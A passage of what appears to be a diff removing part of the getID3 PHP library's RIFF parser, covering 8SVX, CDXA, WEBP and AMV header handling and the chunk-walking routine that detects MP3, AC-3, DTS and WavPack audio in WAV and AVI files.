getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 15, 1)); - $thisfile_riff_RIFFsubtype_VHDR_0['Volume'] = getid3_lib::FixedPoint16_16(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 16, 4)); - - $thisfile_audio['sample_rate'] = $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec']; - - switch ($thisfile_riff_RIFFsubtype_VHDR_0['sCompression']) { - case 0: - $thisfile_audio['codec'] = 'Pulse Code Modulation (PCM)'; - $thisfile_audio['lossless'] = true; - $ActualBitsPerSample = 8; - break; - - case 1: - $thisfile_audio['codec'] = 'Fibonacci-delta encoding'; - $thisfile_audio['lossless'] = false; - $ActualBitsPerSample = 4; - break; - - default: - $this->warning('Unexpected sCompression value in 8SVX.VHDR chunk - expecting 0 or 1, found "'.$thisfile_riff_RIFFsubtype_VHDR_0['sCompression'].'"'); - break; - } - } - - if (isset($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'])) { - $ChannelsIndex = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'], 0, 4)); - switch ($ChannelsIndex) { - case 6: // Stereo - $thisfile_audio['channels'] = 2; - break; - - case 2: // Left channel only - case 4: // Right channel only - $thisfile_audio['channels'] = 1; - break; - - default: - $this->warning('Unexpected value in 8SVX.CHAN chunk - expecting 2 or 4 or 6, found "'.$ChannelsIndex.'"'); - break; - } - - } - - $CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment'); - foreach ($CommentsChunkNames as $key => $value) { - if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) { - $thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data']; - } - } - - $thisfile_audio['bitrate'] = $thisfile_audio['sample_rate'] * $ActualBitsPerSample * $thisfile_audio['channels']; - if (!empty($thisfile_audio['bitrate'])) { - $info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) / ($thisfile_audio['bitrate'] / 8); - } - break; - - case 'CDXA': - $info['fileformat'] = 'vcd'; // Asume Video CD - $info['mime_type'] = 'video/mpeg'; - - if (!empty($thisfile_riff['CDXA']['data'][0]['size'])) { - getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.mpeg.php', __FILE__, true); - - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_mpeg = new getid3_mpeg($getid3_temp); - $getid3_mpeg->Analyze(); - if (empty($getid3_temp->info['error'])) { - $info['audio'] = $getid3_temp->info['audio']; - $info['video'] = $getid3_temp->info['video']; - $info['mpeg'] = $getid3_temp->info['mpeg']; - $info['warning'] = $getid3_temp->info['warning']; - } - unset($getid3_temp, $getid3_mpeg); - } - break; - - case 'WEBP': - // https://developers.google.com/speed/webp/docs/riff_container - // https://tools.ietf.org/html/rfc6386 - // https://chromium.googlesource.com/webm/libwebp/+/master/doc/webp-lossless-bitstream-spec.txt - $info['fileformat'] = 'webp'; - $info['mime_type'] = 'image/webp'; - - if (!empty($thisfile_riff['WEBP']['VP8 '][0]['size'])) { - $old_offset = $this->ftell(); - $this->fseek($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8); // 4 bytes "VP8 " + 4 bytes chunk size - $WEBP_VP8_header = $this->fread(10); - $this->fseek($old_offset); - if (substr($WEBP_VP8_header, 3, 3) == "\x9D\x01\x2A") { - $thisfile_riff['WEBP']['VP8 '][0]['keyframe'] = !(getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x800000); - $thisfile_riff['WEBP']['VP8 '][0]['version'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x700000) >> 20; - $thisfile_riff['WEBP']['VP8 '][0]['show_frame'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x080000); - $thisfile_riff['WEBP']['VP8 '][0]['data_bytes'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x07FFFF) >> 0; - - $thisfile_riff['WEBP']['VP8 '][0]['scale_x'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0xC000) >> 14; - $thisfile_riff['WEBP']['VP8 '][0]['width'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0x3FFF); - $thisfile_riff['WEBP']['VP8 '][0]['scale_y'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0xC000) >> 14; - $thisfile_riff['WEBP']['VP8 '][0]['height'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0x3FFF); - - $info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8 '][0]['width']; - $info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8 '][0]['height']; - } else { - $this->error('Expecting 9D 01 2A at offset '.($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8 + 3).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8_header, 3, 3)).'"'); - } - - } - if (!empty($thisfile_riff['WEBP']['VP8L'][0]['size'])) { - $old_offset = $this->ftell(); - $this->fseek($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8); // 4 bytes "VP8L" + 4 bytes chunk size - $WEBP_VP8L_header = $this->fread(10); - $this->fseek($old_offset); - if (substr($WEBP_VP8L_header, 0, 1) == "\x2F") { - $width_height_flags = getid3_lib::LittleEndian2Bin(substr($WEBP_VP8L_header, 1, 4)); - $thisfile_riff['WEBP']['VP8L'][0]['width'] = bindec(substr($width_height_flags, 18, 14)) + 1; - $thisfile_riff['WEBP']['VP8L'][0]['height'] = bindec(substr($width_height_flags, 4, 14)) + 1; - $thisfile_riff['WEBP']['VP8L'][0]['alpha_is_used'] = (bool) bindec(substr($width_height_flags, 3, 1)); - $thisfile_riff['WEBP']['VP8L'][0]['version'] = bindec(substr($width_height_flags, 0, 3)); - - $info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8L'][0]['width']; - $info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8L'][0]['height']; - } else { - $this->error('Expecting 2F at offset '.($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8L_header, 0, 1)).'"'); - } - - } - break; - - default: - $this->error('Unknown RIFF type: expecting one of (WAVE|RMP3|AVI |CDDA|AIFF|AIFC|8SVX|CDXA|WEBP), found "'.$RIFFsubtype.'" instead'); - //unset($info['fileformat']); - } - - switch ($RIFFsubtype) { - case 'WAVE': - case 'AIFF': - case 'AIFC': - $ID3v2_key_good = 'id3 '; - $ID3v2_keys_bad = array('ID3 ', 'tag '); - foreach ($ID3v2_keys_bad as $ID3v2_key_bad) { - if (isset($thisfile_riff[$RIFFsubtype][$ID3v2_key_bad]) && !array_key_exists($ID3v2_key_good, $thisfile_riff[$RIFFsubtype])) { - $thisfile_riff[$RIFFsubtype][$ID3v2_key_good] = $thisfile_riff[$RIFFsubtype][$ID3v2_key_bad]; - $this->warning('mapping "'.$ID3v2_key_bad.'" chunk to "'.$ID3v2_key_good.'"'); - } - } - - if (isset($thisfile_riff[$RIFFsubtype]['id3 '])) { - getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); - - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_id3v2 = new getid3_id3v2($getid3_temp); - $getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['id3 '][0]['offset'] + 8; - if ($thisfile_riff[$RIFFsubtype]['id3 '][0]['valid'] = $getid3_id3v2->Analyze()) { - $info['id3v2'] = $getid3_temp->info['id3v2']; - } - unset($getid3_temp, $getid3_id3v2); - } - break; - } - - if (isset($thisfile_riff_WAVE['DISP']) && is_array($thisfile_riff_WAVE['DISP'])) { - $thisfile_riff['comments']['title'][] = trim(substr($thisfile_riff_WAVE['DISP'][count($thisfile_riff_WAVE['DISP']) - 1]['data'], 4)); - } - if (isset($thisfile_riff_WAVE['INFO']) && is_array($thisfile_riff_WAVE['INFO'])) { - self::parseComments($thisfile_riff_WAVE['INFO'], $thisfile_riff['comments']); - } - if (isset($thisfile_riff['AVI ']['INFO']) && is_array($thisfile_riff['AVI ']['INFO'])) { - self::parseComments($thisfile_riff['AVI ']['INFO'], $thisfile_riff['comments']); - } - - if (empty($thisfile_audio['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version'])) { - $thisfile_audio['encoder'] = $info['mpeg']['audio']['LAME']['short_version']; - } - - if (!isset($info['playtime_seconds'])) { - $info['playtime_seconds'] = 0; - } - if (isset($thisfile_riff_raw['strh'][0]['dwLength']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) { - // needed for >2GB AVIs where 'avih' chunk only lists number of frames in that chunk, not entire movie - $info['playtime_seconds'] = $thisfile_riff_raw['strh'][0]['dwLength'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000); - } elseif (isset($thisfile_riff_raw['avih']['dwTotalFrames']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) { - $info['playtime_seconds'] = $thisfile_riff_raw['avih']['dwTotalFrames'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000); - } - - if ($info['playtime_seconds'] > 0) { - if (isset($thisfile_riff_audio) && isset($thisfile_riff_video)) { - - if (!isset($info['bitrate'])) { - $info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); - } - - } elseif (isset($thisfile_riff_audio) && !isset($thisfile_riff_video)) { - - if (!isset($thisfile_audio['bitrate'])) { - $thisfile_audio['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); - } - - } elseif (!isset($thisfile_riff_audio) && isset($thisfile_riff_video)) { - - if (!isset($thisfile_video['bitrate'])) { - $thisfile_video['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); - } - - } - } - - - if (isset($thisfile_riff_video) && isset($thisfile_audio['bitrate']) && ($thisfile_audio['bitrate'] > 0) && ($info['playtime_seconds'] > 0)) { - - $info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); - $thisfile_audio['bitrate'] = 0; - $thisfile_video['bitrate'] = $info['bitrate']; - foreach ($thisfile_riff_audio as $channelnumber => $audioinfoarray) { - $thisfile_video['bitrate'] -= $audioinfoarray['bitrate']; - $thisfile_audio['bitrate'] += $audioinfoarray['bitrate']; - } - if ($thisfile_video['bitrate'] <= 0) { - unset($thisfile_video['bitrate']); - } - if ($thisfile_audio['bitrate'] <= 0) { - unset($thisfile_audio['bitrate']); - } - } - - if (isset($info['mpeg']['audio'])) { - $thisfile_audio_dataformat = 'mp'.$info['mpeg']['audio']['layer']; - $thisfile_audio['sample_rate'] = $info['mpeg']['audio']['sample_rate']; - $thisfile_audio['channels'] = $info['mpeg']['audio']['channels']; - $thisfile_audio['bitrate'] = $info['mpeg']['audio']['bitrate']; - $thisfile_audio['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']); - if (!empty($info['mpeg']['audio']['codec'])) { - $thisfile_audio['codec'] = $info['mpeg']['audio']['codec'].' '.$thisfile_audio['codec']; - } - if (!empty($thisfile_audio['streams'])) { - foreach ($thisfile_audio['streams'] as $streamnumber => $streamdata) { - if ($streamdata['dataformat'] == $thisfile_audio_dataformat) { - $thisfile_audio['streams'][$streamnumber]['sample_rate'] = $thisfile_audio['sample_rate']; - $thisfile_audio['streams'][$streamnumber]['channels'] = $thisfile_audio['channels']; - $thisfile_audio['streams'][$streamnumber]['bitrate'] = $thisfile_audio['bitrate']; - $thisfile_audio['streams'][$streamnumber]['bitrate_mode'] = $thisfile_audio['bitrate_mode']; - $thisfile_audio['streams'][$streamnumber]['codec'] = $thisfile_audio['codec']; - } - } - } - $getid3_mp3 = new getid3_mp3($this->getid3); - $thisfile_audio['encoder_options'] = $getid3_mp3->GuessEncoderOptions(); - unset($getid3_mp3); - } - - - if (!empty($thisfile_riff_raw['fmt ']['wBitsPerSample']) && ($thisfile_riff_raw['fmt ']['wBitsPerSample'] > 0)) { - switch ($thisfile_audio_dataformat) { - case 'ac3': - // ignore bits_per_sample - break; - - default: - $thisfile_audio['bits_per_sample'] = $thisfile_riff_raw['fmt ']['wBitsPerSample']; - break; - } - } - - - if (empty($thisfile_riff_raw)) { - unset($thisfile_riff['raw']); - } - if (empty($thisfile_riff_audio)) { - unset($thisfile_riff['audio']); - } - if (empty($thisfile_riff_video)) { - unset($thisfile_riff['video']); - } - - return true; - } - - /** - * @param int $startoffset - * @param int $maxoffset - * - * @return array|false - * - * @throws Exception - * @throws getid3_exception - */ - public function ParseRIFFAMV($startoffset, $maxoffset) { - // AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size - - // https://code.google.com/p/amv-codec-tools/wiki/AmvDocumentation - //typedef struct _amvmainheader { - //FOURCC fcc; // 'amvh' - //DWORD cb; - //DWORD dwMicroSecPerFrame; - //BYTE reserve[28]; - //DWORD dwWidth; - //DWORD dwHeight; - //DWORD dwSpeed; - //DWORD reserve0; - //DWORD reserve1; - //BYTE bTimeSec; - //BYTE bTimeMin; - //WORD wTimeHour; - //} AMVMAINHEADER; - - $info = &$this->getid3->info; - $RIFFchunk = false; - - try { - - $this->fseek($startoffset); - $maxoffset = min($maxoffset, $info['avdataend']); - $AMVheader = $this->fread(284); - if (substr($AMVheader, 0, 8) != 'hdrlamvh') { - throw new Exception('expecting "hdrlamv" at offset '.($startoffset + 0).', found "'.substr($AMVheader, 0, 8).'"'); - } - if (substr($AMVheader, 8, 4) != "\x38\x00\x00\x00") { // "amvh" chunk size, hardcoded to 0x38 = 56 bytes - throw new Exception('expecting "0x38000000" at offset '.($startoffset + 8).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 8, 4)).'"'); - } - $RIFFchunk = array(); - $RIFFchunk['amvh']['us_per_frame'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 12, 4)); - $RIFFchunk['amvh']['reserved28'] = substr($AMVheader, 16, 28); // null? reserved? - $RIFFchunk['amvh']['resolution_x'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 44, 4)); - $RIFFchunk['amvh']['resolution_y'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 48, 4)); - $RIFFchunk['amvh']['frame_rate_int'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 52, 4)); - $RIFFchunk['amvh']['reserved0'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 56, 4)); // 1? reserved? - $RIFFchunk['amvh']['reserved1'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 60, 4)); // 0? reserved? - $RIFFchunk['amvh']['runtime_sec'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 64, 1)); - $RIFFchunk['amvh']['runtime_min'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 65, 1)); - $RIFFchunk['amvh']['runtime_hrs'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 66, 2)); - - $info['video']['frame_rate'] = 1000000 / $RIFFchunk['amvh']['us_per_frame']; - $info['video']['resolution_x'] = $RIFFchunk['amvh']['resolution_x']; - $info['video']['resolution_y'] = $RIFFchunk['amvh']['resolution_y']; - $info['playtime_seconds'] = ($RIFFchunk['amvh']['runtime_hrs'] * 3600) + ($RIFFchunk['amvh']['runtime_min'] * 60) + $RIFFchunk['amvh']['runtime_sec']; - - // the rest is all hardcoded(?) and does not appear to be useful until you get to audio info at offset 256, even then everything is probably hardcoded - - if (substr($AMVheader, 68, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x38\x00\x00\x00") { - throw new Exception('expecting "LIST<0x00000000>strlstrh<0x38000000>" at offset '.($startoffset + 68).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 68, 20)).'"'); - } - // followed by 56 bytes of null: substr($AMVheader, 88, 56) -> 144 - if (substr($AMVheader, 144, 8) != 'strf'."\x24\x00\x00\x00") { - throw new Exception('expecting "strf<0x24000000>" at offset '.($startoffset + 144).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 144, 8)).'"'); - } - // followed by 36 bytes of null: substr($AMVheader, 144, 36) -> 180 - - if (substr($AMVheader, 188, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x30\x00\x00\x00") { - throw new Exception('expecting "LIST<0x00000000>strlstrh<0x30000000>" at offset '.($startoffset + 188).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 188, 20)).'"'); - } - // followed by 48 bytes of null: substr($AMVheader, 208, 48) -> 256 - if (substr($AMVheader, 256, 8) != 'strf'."\x14\x00\x00\x00") { - throw new Exception('expecting "strf<0x14000000>" at offset '.($startoffset + 256).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 256, 8)).'"'); - } - // followed by 20 bytes of a modified WAVEFORMATEX: - // typedef struct { - // WORD wFormatTag; //(Fixme: this is equal to PCM's 0x01 format code) - // WORD nChannels; //(Fixme: this is always 1) - // DWORD nSamplesPerSec; //(Fixme: for all known sample files this is equal to 22050) - // DWORD nAvgBytesPerSec; //(Fixme: for all known sample files this is equal to 44100) - // WORD nBlockAlign; //(Fixme: this seems to be 2 in AMV files, is this correct ?) - // WORD wBitsPerSample; //(Fixme: this seems to be 16 in AMV files instead of the expected 4) - // WORD cbSize; //(Fixme: this seems to be 0 in AMV files) - // WORD reserved; - // } WAVEFORMATEX; - $RIFFchunk['strf']['wformattag'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 264, 2)); - $RIFFchunk['strf']['nchannels'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 266, 2)); - $RIFFchunk['strf']['nsamplespersec'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 268, 4)); - $RIFFchunk['strf']['navgbytespersec'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 272, 4)); - $RIFFchunk['strf']['nblockalign'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 276, 2)); - $RIFFchunk['strf']['wbitspersample'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 278, 2)); - $RIFFchunk['strf']['cbsize'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 280, 2)); - $RIFFchunk['strf']['reserved'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 282, 2)); - - - $info['audio']['lossless'] = false; - $info['audio']['sample_rate'] = $RIFFchunk['strf']['nsamplespersec']; - $info['audio']['channels'] = $RIFFchunk['strf']['nchannels']; - $info['audio']['bits_per_sample'] = $RIFFchunk['strf']['wbitspersample']; - $info['audio']['bitrate'] = $info['audio']['sample_rate'] * $info['audio']['channels'] * $info['audio']['bits_per_sample']; - $info['audio']['bitrate_mode'] = 'cbr'; - - - } catch (getid3_exception $e) { - if ($e->getCode() == 10) { - $this->warning('RIFFAMV parser: '.$e->getMessage()); - } else { - throw $e; - } - } - - return $RIFFchunk; - } - - /** - * @param int $startoffset - * @param int $maxoffset - * - * @return array|false - * @throws getid3_exception - */ - public function ParseRIFF($startoffset, $maxoffset) { - $info = &$this->getid3->info; - - $RIFFchunk = false; - $FoundAllChunksWeNeed = false; - $LISTchunkParent = null; - $LISTchunkMaxOffset = null; - $AC3syncwordBytes = pack('n', getid3_ac3::syncword); // 0x0B77 -> "\x0B\x77" - - try { - $this->fseek($startoffset); - $maxoffset = min($maxoffset, $info['avdataend']); - while ($this->ftell() < $maxoffset) { - $chunknamesize = $this->fread(8); - //$chunkname = substr($chunknamesize, 0, 4); - $chunkname = str_replace("\x00", '_', substr($chunknamesize, 0, 4)); // note: chunk names of 4 null bytes do appear to be legal (has been observed inside INFO and PRMI chunks, for example), but makes traversing array keys more difficult - $chunksize = $this->EitherEndian2Int(substr($chunknamesize, 4, 4)); - //if (strlen(trim($chunkname, "\x00")) < 4) { - if (strlen($chunkname) < 4) { - $this->error('Expecting chunk name at offset '.($this->ftell() - 8).' but found nothing. Aborting RIFF parsing.'); - break; - } - if (($chunksize == 0) && ($chunkname != 'JUNK')) { - $this->warning('Chunk ('.$chunkname.') size at offset '.($this->ftell() - 4).' is zero. Aborting RIFF parsing.'); - break; - } - if (($chunksize % 2) != 0) { - // all structures are packed on word boundaries - $chunksize++; - } - - switch ($chunkname) { - case 'LIST': - $listname = $this->fread(4); - if (preg_match('#^(movi|rec )$#i', $listname)) { - $RIFFchunk[$listname]['offset'] = $this->ftell() - 4; - $RIFFchunk[$listname]['size'] = $chunksize; - - if (!$FoundAllChunksWeNeed) { - $WhereWeWere = $this->ftell(); - $AudioChunkHeader = $this->fread(12); - $AudioChunkStreamNum = substr($AudioChunkHeader, 0, 2); - $AudioChunkStreamType = substr($AudioChunkHeader, 2, 2); - $AudioChunkSize = getid3_lib::LittleEndian2Int(substr($AudioChunkHeader, 4, 4)); - - if ($AudioChunkStreamType == 'wb') { - $FirstFourBytes = substr($AudioChunkHeader, 8, 4); - if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', $FirstFourBytes)) { - // MP3 - if (getid3_mp3::MPEGaudioHeaderBytesValid($FirstFourBytes)) { - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_temp->info['avdataoffset'] = $this->ftell() - 4; - $getid3_temp->info['avdataend'] = $this->ftell() + $AudioChunkSize; - $getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__); - $getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false); - if (isset($getid3_temp->info['mpeg']['audio'])) { - $info['mpeg']['audio'] = $getid3_temp->info['mpeg']['audio']; - $info['audio'] = $getid3_temp->info['audio']; - $info['audio']['dataformat'] = 'mp'.$info['mpeg']['audio']['layer']; - $info['audio']['sample_rate'] = $info['mpeg']['audio']['sample_rate']; - $info['audio']['channels'] = $info['mpeg']['audio']['channels']; - $info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate']; - $info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']); - //$info['bitrate'] = $info['audio']['bitrate']; - } - unset($getid3_temp, $getid3_mp3); - } - - } elseif (strpos($FirstFourBytes, $AC3syncwordBytes) === 0) { - // AC3 - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_temp->info['avdataoffset'] = $this->ftell() - 4; - $getid3_temp->info['avdataend'] = $this->ftell() + $AudioChunkSize; - $getid3_ac3 = new getid3_ac3($getid3_temp); - $getid3_ac3->Analyze(); - if (empty($getid3_temp->info['error'])) { - $info['audio'] = $getid3_temp->info['audio']; - $info['ac3'] = $getid3_temp->info['ac3']; - if (!empty($getid3_temp->info['warning'])) { - foreach ($getid3_temp->info['warning'] as $key => $value) { - $this->warning($value); - } - } - } - unset($getid3_temp, $getid3_ac3); - } - } - $FoundAllChunksWeNeed = true; - $this->fseek($WhereWeWere); - } - $this->fseek($chunksize - 4, SEEK_CUR); - - } else { - - if (!isset($RIFFchunk[$listname])) { - $RIFFchunk[$listname] = array(); - } - $LISTchunkParent = $listname; - $LISTchunkMaxOffset = $this->ftell() - 4 + $chunksize; - if ($parsedChunk = $this->ParseRIFF($this->ftell(), $LISTchunkMaxOffset)) { - $RIFFchunk[$listname] = array_merge_recursive($RIFFchunk[$listname], $parsedChunk); - } - - } - break; - - default: - if (preg_match('#^[0-9]{2}(wb|pc|dc|db)$#', $chunkname)) { - $this->fseek($chunksize, SEEK_CUR); - break; - } - $thisindex = 0; - if (isset($RIFFchunk[$chunkname]) && is_array($RIFFchunk[$chunkname])) { - $thisindex = count($RIFFchunk[$chunkname]); - } - $RIFFchunk[$chunkname][$thisindex]['offset'] = $this->ftell() - 8; - $RIFFchunk[$chunkname][$thisindex]['size'] = $chunksize; - switch ($chunkname) { - case 'data': - $info['avdataoffset'] = $this->ftell(); - $info['avdataend'] = $info['avdataoffset'] + $chunksize; - - $testData = $this->fread(36); - if ($testData === '') { - break; - } - if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', substr($testData, 0, 4))) { - - // Probably is MP3 data - if (getid3_mp3::MPEGaudioHeaderBytesValid(substr($testData, 0, 4))) { - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; - $getid3_temp->info['avdataend'] = $info['avdataend']; - $getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__); - $getid3_mp3->getOnlyMPEGaudioInfo($info['avdataoffset'], false); - if (empty($getid3_temp->info['error'])) { - $info['audio'] = $getid3_temp->info['audio']; - $info['mpeg'] = $getid3_temp->info['mpeg']; - } - unset($getid3_temp, $getid3_mp3); - } - - } elseif (($isRegularAC3 = (substr($testData, 0, 2) == $AC3syncwordBytes)) || substr($testData, 8, 2) == strrev($AC3syncwordBytes)) { - - // This is probably AC-3 data - $getid3_temp = new getID3(); - if ($isRegularAC3) { - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; - $getid3_temp->info['avdataend'] = $info['avdataend']; - } - $getid3_ac3 = new getid3_ac3($getid3_temp); - if ($isRegularAC3) { - $getid3_ac3->Analyze(); - } else { - // Dolby Digital WAV - // AC-3 content, but not encoded in same format as normal AC-3 file - // For one thing, byte order is swapped - $ac3_data = ''; - for ($i = 0; $i < 28; $i += 2) { - $ac3_data .= substr($testData, 8 + $i + 1, 1); - $ac3_data .= substr($testData, 8 + $i + 0, 1); - } - $getid3_ac3->getid3->info['avdataoffset'] = 0; - $getid3_ac3->getid3->info['avdataend'] = strlen($ac3_data); - $getid3_ac3->AnalyzeString($ac3_data); - } - - if (empty($getid3_temp->info['error'])) { - $info['audio'] = $getid3_temp->info['audio']; - $info['ac3'] = $getid3_temp->info['ac3']; - if (!empty($getid3_temp->info['warning'])) { - foreach ($getid3_temp->info['warning'] as $newerror) { - $this->warning('getid3_ac3() says: ['.$newerror.']'); - } - } - } - unset($getid3_temp, $getid3_ac3); - - } elseif (preg_match('/^('.implode('|', array_map('preg_quote', getid3_dts::$syncwords)).')/', $testData)) { - - // This is probably DTS data - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; - $getid3_dts = new getid3_dts($getid3_temp); - $getid3_dts->Analyze(); - if (empty($getid3_temp->info['error'])) { - $info['audio'] = $getid3_temp->info['audio']; - $info['dts'] = $getid3_temp->info['dts']; - $info['playtime_seconds'] = $getid3_temp->info['playtime_seconds']; // may not match RIFF calculations since DTS-WAV often used 14/16 bit-word packing - if (!empty($getid3_temp->info['warning'])) { - foreach ($getid3_temp->info['warning'] as $newerror) { - $this->warning('getid3_dts() says: ['.$newerror.']'); - } - } - } - - unset($getid3_temp, $getid3_dts); - - } elseif (substr($testData, 0, 4) == 'wvpk') { - - // This is WavPack data - $info['wavpack']['offset'] = $info['avdataoffset']; - $info['wavpack']['size'] = getid3_lib::LittleEndian2Int(substr($testData, 4, 4)); - $this->parseWavPackHeader(substr($testData, 8, 28)); - - } else { - // This is some other kind of data (quite possibly just PCM) - // do nothing special, just skip it - } - $nextoffset = $info['avdataend']; - $this->fseek($nextoffset); - break; - - case 'iXML': - case 'bext': - case 'cart': - case 'fmt ': - case 'strh': - case 'strf': - case 'indx': - case 'MEXT': - case 'DISP': - case 'wamd': - case 'guan': - // always read data in - case 'JUNK': - // should be: never read data in - // but some programs write their version strings in a JUNK chunk (e.g. VirtualDub, AVIdemux, etc) - if ($chunksize < 1048576) { - if ($chunksize > 0) { - $RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize); - if ($chunkname == 'JUNK') { - if (preg_match('#^([\\x20-\\x7F]+)#', $RIFFchunk[$chunkname][$thisindex]['data'], $matches)) { - // only keep text characters [chr(32)-chr(127)] - $info['riff']['comments']['junk'][] = trim($matches[1]); - } - // but if nothing there, ignore - // remove the key in either case - unset($RIFFchunk[$chunkname][$thisindex]['data']); - } - } - } else { - $this->warning('Chunk "'.$chunkname.'" at offset '.$this->ftell().' is unexpectedly larger than 1MB (claims to be '.number_format($chunksize).' bytes), skipping data'); - $this->fseek($chunksize, SEEK_CUR); - } - break; - - //case 'IDVX': - // $info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunksize)); - // break; - - case 'scot': - // https://cmsdk.com/node-js/adding-scot-chunk-to-wav-file.html - $RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize); - $RIFFchunk[$chunkname][$thisindex]['parsed']['alter'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 0, 1); - $RIFFchunk[$chunkname][$thisindex]['parsed']['attrib'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 1, 1); - $RIFFchunk[$chunkname][$thisindex]['parsed']['artnum'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 2, 2)); - $RIFFchunk[$chunkname][$thisindex]['parsed']['title'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 4, 43); // "name" in other documentation - $RIFFchunk[$chunkname][$thisindex]['parsed']['copy'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 47, 4); 